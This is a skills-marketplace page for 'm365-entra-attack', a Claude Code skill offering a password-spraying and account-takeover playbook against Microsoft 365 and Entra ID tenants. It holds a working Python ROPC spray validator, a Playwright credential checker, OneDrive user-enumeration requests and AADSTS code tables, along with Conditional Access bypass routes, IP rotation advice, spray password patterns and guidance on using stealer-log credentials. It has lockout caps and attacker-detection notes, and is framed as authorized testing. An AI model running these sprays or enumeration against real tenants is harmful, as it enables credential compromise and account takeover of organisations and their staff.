mcpField
M
m365-entra-attack

m365-entra-attack

github.com/elementalsouls安全5.3k274 次安装今天更新
代码仓库

关于 m365-entra-attack

m365-entra-attack 是用于授权评估 Microsoft 365 和 Entra ID 租户的安全技能。内容涵盖租户与用户发现、谨慎的凭据验证、Conditional Access 结果解读,以及考虑账户锁定风险的测试指引。

主要功能

  1. 01租户与域信息发现
  2. 02OneDrive 差异式用户枚举
  3. 03AADSTS 身份验证结果解读
  4. 04低频凭据验证与锁定控制
  5. 05Conditional Access 限制评估

适用场景

  1. 01盘点多个 Entra 租户的攻击面
  2. 02区分有效凭据与 MFA 或设备策略阻断
  3. 03识别功能账号候选并控制尝试次数

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/elementalsouls/claude-bughunter --skill m365-entra-attack

安装后在 Claude Code 中输入/m365-entra-attack确认已加载。

详细介绍

适用场景

在以下情况触发:

  • 目标使用 M365 / Entra ID(autodiscover.* 记录、重定向到 login.microsoftonline.com,或技术栈备注中提到“Microsoft Office 365”)
  • 你有企业邮箱列表或从窃密程序泄露的凭据
  • 参与的任务涉及“凭据喷洒”、“密码喷洒”、“Entra 攻击”或“通过 M365 实施账户接管”
  • 你在侦察中发现 *.onmicrosoft.com、*-my.sharepoint.com、enterpriseregistration.*、enterpriseenrollment.*
  • 客户提到“条件访问”、“绕过 MFA”或“合规设备”

不要用于:

  • 仅限本地部署的 Active Directory(使用单独的 AD 攻击技能)
  • 服务到服务的令牌攻击(威胁模型不同)
  • 必须通过钓鱼实施的攻击链(由钓鱼技能涵盖)——但你可以在此处为凭据验证步骤做准备

租户发现(msftrecon)

# For each owned domain
msftrecon -d client.example
msftrecon -d clientltd.example
msftrecon -d sister-brand-school.example

输出中的关键字段:

  • 租户 ID(不同域名可能共用同一租户,也可能各自拥有独立租户——务必测试所有自有域名)
  • Federation Information.Namespace Type = Managed(仅云端,ROPC 可用)| Federated(ADFS,攻击方式不同)
  • SharePoint Detected(Yes = 可使用 OneDrive 枚举途径)
  • Communication Services Teams/Skype(通过身份验证后的横向移动目标)
  • Admin Consent Endpoint accessible(同意钓鱼攻击面)

**风险提示:**如果组织为关联域名配置了多个 Entra 租户,那么每个租户都是独立的攻击面,各自拥有用户列表、锁定策略和 CA 配置。不要假设一次密码喷洒可以覆盖所有租户。


AADSTS 代码参考(请记住)

AADSTS含义对锁定的影响应对方式
50034用户不存在无跳过;从喷洒列表中移除
50126用户名或密码无效失败尝试计数 +1用户存在——稍后尝试其他密码(不超过上限)
50053账户已锁定(Smart Lockout)无(已锁定)先前已锁定 → 报告给 SOC;不要重试
53003CA 阻止令牌签发失败尝试计数 +1密码有效——停止,密码正确
50076需要 MFA失败尝试计数 +1密码有效——需要第二个因素
50079需要强身份验证失败尝试计数 +1密码有效——与 50076 相同
50158需要外部身份验证失败尝试计数 +1密码有效——联合身份验证 MFA
530003需要设备状态失败尝试计数 +1密码有效——需要合规设备
65001需要同意失败尝试计数 +1应用同意问题,与身份验证无关
700016应用不在租户中无用户属于其他租户——调整目标
90002租户不存在无租户名称拼写错误 / 租户已失效

关键要点:{53003, 50076, 50079, 50158, 530003} 中的任意代码都表示密码正确——Microsoft 只会在凭据验证成功后返回这些代码。即使无法获取令牌,也应将其记录为已确认有效的发现。


Smart Lockout 计算(严格控制尝试上限)

Microsoft 默认策略:

  • 10 分钟内登录失败 10 次 → 锁定 1 分钟
  • 登录失败 20 次 → 锁定时间逐步延长(指数退避)
  • 计数器在所有身份验证流程之间共享(ROPC + SAML + IMAP + EWS + SMTP + 设备代码)

任务执行规范:

  • 硬性上限:每次任务中,每位用户最多尝试 2 个密码**(整个任务期间)**(有些任务限制为 1 次)
  • 使用原子写入的状态文件——绝不能让两次测试运行同时更新计数器
  • 终止开关:如果观察到超过 N 个 LOCKED 响应,立即停止运行(这可能表明已有攻击者活动,或者你计数错误;无论哪种情况都应暂停)

数学保证:每位用户只尝试 1 次,就不可能触发 Smart Lockout(1 < 10)。因此,你看到的任何 AADSTS50053 都是此前已发生的锁定 → 可将其用于检测正在活动的攻击者(参见 mid-engagement-ir-detection 技能)。


用户枚举——途径与加固状态(2026 年 5 月)

❌ 已加固(不再存在差异)
GET /getuserrealm.srf?login=<email>&xml=1

对于任何匹配租户自有域名的电子邮件地址,均返回相同的 XML。仅限租户级别,不限用户级别。

POST /common/GetCredentialType
{"username":"<email>", "isOtherIdpSupported":true, ...}

在没有有效会话的情况下返回 AADSTS1659001(缺少 flowToken)——无法枚举。

GET /autodiscover/autodiscover.json/v1.0/<email>?Protocol=AutodiscoverV1

对于任何地址,均返回相同的 200 状态码和相同的 JSON 正文。约于 2024 年加固。

✅ 仍然有效(截至 2026 年 5 月——关注有效期)

OneDrive 个人站点差异:

GET /personal/<user>_<domain>_com/_layouts/15/onedrive.aspx HTTP/1.1
Host: <tenant>-my.sharepoint.com
  • 302 → 用户存在(重定向到 Authenticate.aspx,要求身份验证)
  • 404 → 用户不存在(404 FILE NOT FOUND)
  • 无需尝试身份验证 → 不影响账户锁定
  • 额外发现:现有用户的 Sprequestduration 标头更快(约 40 毫秒),而不存在的用户约为 600 毫秒——可作为辅助时序判断依据

注意事项:

  • 仅当租户已配置 SharePoint 时有效(检查 msftrecon 的 SharePoint Detected: Yes)
  • Microsoft 会持续加固这些端点——依赖此方法前请重新验证
  • Entra 中可能存在未配置 OneDrive 的用户(取决于许可证)——可能产生假阴性

2026-05-17 重新验证(授权安全评估复核): 截至 2026-05-17,OneDrive 枚举原语仍然有效。校准结果:已获许可的用户返回 HTTP 200,正文约为 57 KB;不存在的用户 / 共享邮箱账户返回 404,正文为 0 字节。不带 /_layouts/15/onedrive.aspx 的 /personal/ 根路径也会返回相同的差异。

关键用例:许可证差异 = 账户类别信号。 将 OneDrive 200/404 与 ROPC AADSTS50034/50126 交叉比对:

OneDriveROPC分类
200AADSTS50076(要求 MFA)或 50126已获许可的普通用户(真实员工,已强制实施 MFA)
200AADSTS50034(不应发生——存在不一致,请调查)
404AADSTS50126共享邮箱 / 功能账户 / 服务账户(无 OneDrive 许可证,但有密码)——历史上免于 MFA 的类别,是尝试猜测密码的首要目标
404AADSTS50034租户中不存在
404AADSTS50076边缘情况(已强制实施 MFA 的功能账户——罕见)

OneDrive-404 + ROPC-50126 组合是**“可能绕过 MFA 的功能账户”信号**——管理员经常在 CA 策略中豁免这些账户,因为它们用于无法满足 MFA 要求的自动化流程。在授权安全评估复核中发现了这一用途:识别出 noreply@、purchase@、accounts@、postmaster@、transport@ 是功能账户候选(在任何大型综合企业租户中都很常见)。

ROPC AADSTS50034 / AADSTS50126 差异:

  • AADSTS50034(用户不存在)不会增加 Smart Lockout 计数器
  • AADSTS50126(密码错误)会增加计数器
  • 因此,每个用户尝试 1 次密码喷洒,可用作粗略的用户存在性枚举器(每个 AADSTS50034 表示未命中,每个 AADSTS50126 表示命中 + 消耗 1 次尝试)

条件访问绕过选项(大多数已被阻止,但仍记录在此)

向量状态(2026 年)备注
不同的 ROPC client_id(Microsoft Graph PowerShell、Azure CLI 与 Office)有时有效条件访问可以按应用设置;尝试 1b730954-1685-4b74-9bfd-dac224a7b894(Graph PS)、04b07795-8ddb-461a-bbee-02f9e1bf7b46(Azure CLI)、d3590ed6-52b3-4102-aeff-aad2292ab01c(Office)
不同的资源(graph.microsoft.com / outlook.office.com / management.azure.com)有时有效条件访问范围可以按资源设置
EWS / IMAP / POP3 / SMTP 基本身份验证大多已禁用Microsoft 已于 2022 年 10 月弃用基本身份验证;仍有针对个别账户的例外
FOCI(客户端 ID 系列)刷新令牌路径使用一个 FOCI 客户端的刷新令牌为另一个客户端签发令牌
设备代码网络钓鱼有效需要用户交互(许多测试活动不在范围内)
模拟合规设备困难需要注册 Intune 设备——工作量大,通常没有内部人员协助就无法完成
AiTM 会话 Cookie 窃取有效(需网络钓鱼)现代主要技术——不在非网络钓鱼测试活动的范围内
FOCI + 家族刷新令牌窃取身份验证后需要已经持有令牌
通过不同 SP 使用 SAML SSO有时有效每个企业应用都有自己的条件访问策略;可将条件访问较弱的应用作为跳板
通过 VPN 绕过地理限制有时有效如果“受信任位置”条件访问策略包含公司总部 IP,则使用该处的 VPN 出口

**本次测试活动的关键见解:**在采用通用条件访问策略(合规设备 + MFA)的租户中,上述所有路径都会在相同流程下返回 AADSTS53003。凭据有效,但无法从外部使用。**通过网络钓鱼获取 Cookie 是唯一现实可行的攻击路径。**请明确记录这一点,让客户了解威胁模型。


ROPC 密码验证(标准测试)

单次尝试验证器模式(Python):

import urllib.request, urllib.parse, ssl, time, json, os
ctx = ssl.create_default_context(); ctx.check_hostname=False; ctx.verify_mode=ssl.CERT_NONE
ATTEMPT_FILE = "engagement_log/o365_attempts.json"
HARD_CAP = 1  # or 2 — never higher

def attempt(email, password):
    state = json.load(open(ATTEMPT_FILE)) if os.path.exists(ATTEMPT_FILE) else {}
    if state.get(email.lower(), 0) >= HARD_CAP:
        return {"status": "SKIPPED_CAP"}
    body = urllib.parse.urlencode({
        "resource": "https://graph.windows.net",
        "client_id": "1b730954-1685-4b74-9bfd-dac224a7b894",  # Microsoft Graph PowerShell
        "client_info": "1",
        "grant_type": "password",
        "username": email,
        "password": password,
        "scope": "openid",
    }).encode()
    state[email.lower()] = state.get(email.lower(), 0) + 1
    json.dump(state, open(ATTEMPT_FILE+".tmp", "w"))
    os.replace(ATTEMPT_FILE+".tmp", ATTEMPT_FILE)  # atomic
    req = urllib.request.Request(
        "https://login.microsoftonline.com/common/oauth2/token",
        data=body, method="POST",
    )
    req.add_header("Content-Type", "application/x-www-form-urlencoded")
    try:
        r = urllib.request.urlopen(req, context=ctx, timeout=15)
        body = json.loads(r.read())
        # PARSE AS JSON — see CRITICAL TRAP below about substring matching
        if "access_token" in body:    # ← JSON key check, NOT substring
            return {"status": "VALID", "body": body}
        return {"status": "STATUS_200_NO_TOKEN", "body": body}
    except urllib.error.HTTPError as e:
        msg = e.read().decode(errors="ignore")
        for code, status in [
            ("AADSTS50034", "INVALID_USER"),
            ("AADSTS50126", "INVALID_PW"),
            ("AADSTS50053", "LOCKED"),
            ("AADSTS53003", "VALID_CA_BLOCK"),
            ("AADSTS50076", "VALID_MFA"),
            ("AADSTS50079", "VALID_MFA"),
        ]:
            if code in msg:
                return {"status": status, "code": code}
        return {"status": "OTHER", "msg": msg[:200]}
⚠ 关键陷阱 — AADSTS50076 响应正文包含字面上的 "access_token" 子字符串

当 CA 策略要求 MFA,而 ROPC 无法满足要求时,Entra 会返回一个错误响应正文,其中包含一个 claims 字段,列出 CA 策略 ID 作为逐步验证质询:

{
  "error": "invalid_grant",
  "error_description": "AADSTS50076: ...you must use multi-factor authentication...",
  "error_codes": [50076],
  "suberror": "basic_action",
  "claims": "{\"access_token\":{\"capolids\":{\"essential\":true,\"values\":[\"<policy-id-1>\",\"<policy-id-2>\"]}}}"
}

"access_token" 子字符串会出现在 CA claims 质询 JSON 中。 宽松地检查子字符串,例如 if "access_token" in raw_body:,会将每次因 MFA 而受阻的尝试都误判为成功签发令牌。

务必先解析 JSON,再检查 if "access_token" in parsed_dict: — 切勿在 OAuth 错误响应正文中匹配子字符串。这个问题是在 2026-05-17 的授权安全测试复核中发现的:子字符串检查在 Sway/Yammer/Bookings/Tunnel 的 client_ids 上产生了 7 个误报的“CA 绕过”,而这些应用实际上都正确强制执行了 MFA。

claims.access_token.capolids 的值是租户内部的 Conditional Access 策略 ID — 可用于补充侦察信息,但不是令牌。应在测试记录中将其记为“触发的 CA 策略 ID” — 这是防御方的线索,不是攻击方的成果。

节奏:

  • 绝不可并发。必须单线程、串行并控制节奏。这是硬性规定,不是可调整的参数。 Entra 有一层 IP 信誉反喷洒机制,与按用户实施的 Smart Lockout 彼此独立。触发它的因素是并发,而不是每用户尝试次数。一旦触发,它就会对你只尝试过一次的账户大量返回 AADSTS50053(从数学上讲,这不可能是真正的按用户锁定 → 而是 IP 级拒绝),这会 (a) 污染你的账户存在性数据 — 此时 50053 的含义变得模糊,而且你已经用掉了每用户 1 次的上限,无法重新测试;(b) 将你的出口 IP 标记为租户中的喷洒来源。在一次授权安全测试中观察到:从串行改为 12 个线程后,15 秒内产生了约 183 个误报的 AADSTS50053;而在 454 次控制节奏的尝试中仅有 1 个。
  • 之前“每秒 ≤30 个请求没问题”的说法对真实租户具有误导性 — 应理解为“串行,并加入 1.5–3 秒抖动”,绝不能理解为“并行扩展到每秒 30 个请求”。
  • 按用户计:状态文件中的硬性上限是唯一影响锁定原因判断的因素;串行控制节奏则关系到 IP 信誉。
  • 加入随机抖动(每次尝试之间间隔 1.5–5 秒),降低机器行为特征。
  • 紧急停止机制: 如果在每用户上限为 1 的一轮测试中出现超过约 5 个 AADSTS50053,请立即停止 — 你可能触发了 IP 反喷洒机制(这是你的问题,应降低频率/轮换 IP/等待冷却),也可能检测到了真实的外部喷洒(这是一项发现)。无论哪种情况,都应暂停并排查后再继续。

SAML SSO 浏览器流程(适用于 CA 阻止 ROPC 时的确定性凭据验证)

如果 ROPC 返回 AADSTS53003,你就已证明密码有效。要证明它在两条身份验证路径中都有效(并留存 Microsoft CA 阻止页面作为证据),请通过 Playwright 执行 SAML SSO:

import asyncio
from playwright.async_api import async_playwright

async def saml_validate(target_sp_url, username, password, screenshot_dir):
    async with async_playwright() as p:
        browser = await p.chromium.launch(headless=True, args=["--ignore-certificate-errors"])
        context = await browser.new_context(ignore_https_errors=True)
        page = await context.new_page()
        # Step 1: navigate to SP
        await page.goto(target_sp_url, wait_until="networkidle", timeout=30000)
        # Step 2: click sign-in (selectors vary per SP)
        for sel in ["button:has-text('Sign in')", "a:has-text('Login')", "button:has-text('Azure')"]:
            try:
                await page.locator(sel).first.click(timeout=3000)
                break
            except: continue
        await page.wait_for_load_state("networkidle", timeout=20000)
        # Step 3: submit username at Microsoft
        await page.locator('input[name="loginfmt"], input[type="email"]').first.fill(username)
        await page.locator('input[type="submit"], #idSIButton9').first.click()
        await page.wait_for_load_state("networkidle", timeout=20000)
        # Step 4: submit password
        await page.locator('input[name="passwd"], input[type="password"]').first.fill(password)
        await page.locator('input[type="submit"], #idSIButton9').first.click()
        await page.wait_for_load_state("networkidle", timeout=30000)
        # Step 5: capture
        await page.screenshot(path=f"{screenshot_dir}/saml_final.png", full_page=True)
        content = await page.content()
        cookies = await context.cookies()
        await browser.close()
        # Check outcome
        low = content.lower()
        if "convergedconditionalaccess" in low or "53003" in low:
            return "CA_BLOCKED"  # cred valid, CA wall
        elif "verify your identity" in low or "approve sign in" in low:
            return "MFA_REQUIRED"  # cred valid, MFA wall
        elif "we couldn't sign you in" in low or "wrong" in low:
            return "INVALID"
        elif "<post-auth-landing-marker>" in low or "dashboard" in low:
            return "FULL_SUCCESS"  # session obtained (replace marker per target app)
        return "UNCLEAR"

Microsoft 的 ConvergedConditionalAccess 页面(源代码中的 PageID)是 CA 阻止的确定性证据。


通过锁定差异检测活跃攻击者

如果你在每用户尝试次数上限为 1 的情况下,仍看到多个用户出现 AADSTS50053(已锁定):

  1. 这些锁定不是由你造成的(数学上:1 < 10)。
  2. 有外部攻击者正在对租户进行喷洒攻击。
  3. 按字母顺序排列已锁定用户 — 如果用户聚集在一起,说明攻击者使用了经过排序的用户名列表。
  4. 比较喷洒开始和结束时的锁定数量 — 你执行测试期间新增的锁定 = 攻击者此刻仍在活动。
  5. 将已锁定的电子邮件地址列表记录为一项发现(SOC 可据此采取行动 — 他们会调取这些用户的登录日志)。

这是任何 M365 喷洒测试中影响最大的副作用。务必追踪并报告。


多品牌企业目标常见的密码喷洒模式

  • <BrandName>@<Year> — <Brand>@2026、Tata@2026
  • <BrandName>@123 — <Brand>@123(非常常见)
  • <PlantCity>@<Year> — <City1>@2026、<City2>@2026(生产工厂所在城市)
  • <EmployeeID-as-password> — 旧版应用中很常见(PAN 号码、员工编号、电话号码末 4 位)
  • Password@<year>、Welcome@<year>、Admin@<year> — 通用默认密码
  • <BrandName>@<Y2-digits> — <Brand>@26

参与测试时的注意事项: 客户提供泄露凭据转储(窃密日志)时,应优先使用这些凭据。每条泄露凭据都计为针对该用户最有力的已知猜测的一次限额尝试。


参与测试日志记录(强制要求)

每次 M365 尝试都要记录到 JSONL:

{"ts":"2026-05-08T14:40:53","email":"user1@<client>.example","pw_first4":"<r4>","status":"VALID_CA_BLOCK","code":"AADSTS53003","attempts_used":1}

按用户跟踪器(原子操作):

{"user1@<client>.example": 1, "user2@<client>.example": 1, ...}

IP 轮换日志(按天记录):

2026-05-08	<src-ip>	<ISP-AS>	<operator-handle>	Round 2 spray

这三份记录是报告的交付证据。它们会作为状态保留到下一次参与测试中。


真实案例发现模板(来自授权参与测试)

用于报告:

发现:261 个 Entra 账户处于既有锁定状态

  • 主题:检测到正在进行的外部密码喷洒活动
  • 证据:筛选出 status=LOCKED 的 o365_results.jsonl
  • 计算:每用户尝试 1 次 × 261 个已锁定账户 ≠ 我方所为
  • SOC 采取的措施:调取过去 30-60 天内这 261 个账户的登录日志

发现:有效的 M365 凭据 — <user>:<password>(被 CA 阻止)

  • 主题:已确认凭据有效
  • 证据:ROPC AADSTS53003 + SAML SSO ConvergedConditionalAccess 页面截图
  • Microsoft 文档摘录:“仅在密码验证后才会返回 AADSTS53003”
  • 建议:强制重置密码,并在全组织范围内审查是否存在类似情况

反面做法(不要这样做)

  • 不要在多个资源上使用该用户的泄露凭据 — 当 CA 阻止所有访问路径时,这只会消耗限额,没有额外收益
  • 收到 AADSTS50053 后不要重试 — 账户已锁定,只会再次看到锁定状态
  • 绝对不要并行发送 ROPC/身份验证请求 — 只能串行、控制节奏。并发会触发 Entra 的 IP 信誉反喷洒机制(与 Smart Lockout 分开),产生大量虚假的 AADSTS50053,污染结果并标记你的 IP。通过增加线程“加速”得不偿失。唯一安全的提速方法是先移除无效或不存在的用户(每批 GetCredentialType 少于 60 个),而不是提高并发度。
  • 不要忘记测试所有 Entra 租户 — 关联域名通常拥有独立租户,密码策略也各不相同
  • 不要撤回 CA 阻止相关发现 — AADSTS53003 意味着密码正确;这正是关键所在

工具

pip install --break-system-packages msftrecon o365spray  # may need to clone msftrecon from GitHub
brew install pandoc                                       # for report generation
go install -v github.com/projectdiscovery/...             # PD toolkit for general recon

参与测试工作目录 engagement_log/m365_validator.py 中提供了预构建的 m365_validator.py 模板。请根据你的参与测试调整 attempt() 函数。


相关技能与链路

  • hunt-mfa-bypass — AADSTS50053(账户锁定)、AADSTS50126(密码错误)与 AADSTS50076(需要 MFA)之间的差异可作为免费的因子存在性预言机。链路原语:观察到 M365 AADSTS50053 锁定差异 → 用户已启用 MFA,但旧版身份验证未受 CA 强制执行 → hunt-mfa-bypass 因子探测(SMS 回退、语音回退、OAuth 设备代码流、针对旧版端点的 ROPC)→ 通过旧版协议路径绕过条件访问。
  • hunt-ntlm-info — 本地 NTLM 拓扑泄露可为 Entra 喷洒攻击提供信息。链路原语:SharePoint/Exchange/IIS 匿名 NTLM Type-2 → 解码 AV_PAIR 得到 corp.example.com → m365-entra-attack 通过 openid-configuration 解析 Entra 租户 → 使用真实的 UPN 格式进行 ROPC 喷洒攻击。
  • okta-attack — 混合组织会将 Okta 用作 IdP,并与 Entra 联合。链路原语:M365 getuserrealm 返回指向 *.okta.com 的 NameSpaceType: Federated 和 AuthURL → 转向 okta-attack 枚举租户 → Okta 账户接管 → 向 Entra 提交 SAML 断言 → 获得完整的 M365 访问权限。
  • hunt-saml — 联合租户接受已签名的 SAML 断言;在联合 IdP 上使用 XSW 或剥离签名可完全绕过 Entra 的控制。链路原语:getuserrealm 揭示联合关系 → 识别 IdP(ADFS / Okta / PingFederate)→ 对 IdP 的 /adfs/ls/ 或等效端点使用 hunt-saml XSW1-XSW8 → 伪造断言 → Entra 授予访问权限。
  • redteam-report-template — M365 发现项需要清晰说明租户、用户和 CA 策略,因为影响范围可能是“组织使用的每项 Microsoft 服务”。链路原语:此技能验证的发现项 → 使用 triage-validation 7-Question Gate 进行检查 → 通过 redteam-report-template 整理交付内容,并明确说明影响范围(涉及哪些应用、用户和数据)。

评论

支持 Markdown